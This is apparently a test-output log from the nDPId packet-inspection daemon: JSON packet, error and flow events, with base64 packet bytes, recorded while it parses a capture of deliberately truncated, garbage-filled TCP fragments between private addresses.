-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302058} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302071} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302084} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302097} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302109} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302121} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302136} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302148} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302161} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302173} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302222} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302235} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302248} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302260} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302273} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302287} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302300} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302312} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302325} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302338} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302350} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302363} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302375} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302388} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302400} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302416} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302429} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302441} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302453} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302473} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302486} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302498} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":8131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302513} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302525} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302538} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302550} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302564} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302577} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244032302589} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":8138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAjxNTkJIR0ZE"} 00764{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":27,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244032602706,"flow_src_last_pkt_time":1534244032602706,"flow_dst_last_pkt_time":1534244032602706,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":4,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":4,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244032602706,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":17751,"dst_port":9024,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_src_last_pkt_time":1534244032602706,"flow_dst_last_pkt_time":1534244032602706,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQCqQAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032602745} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032602758} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032602769} 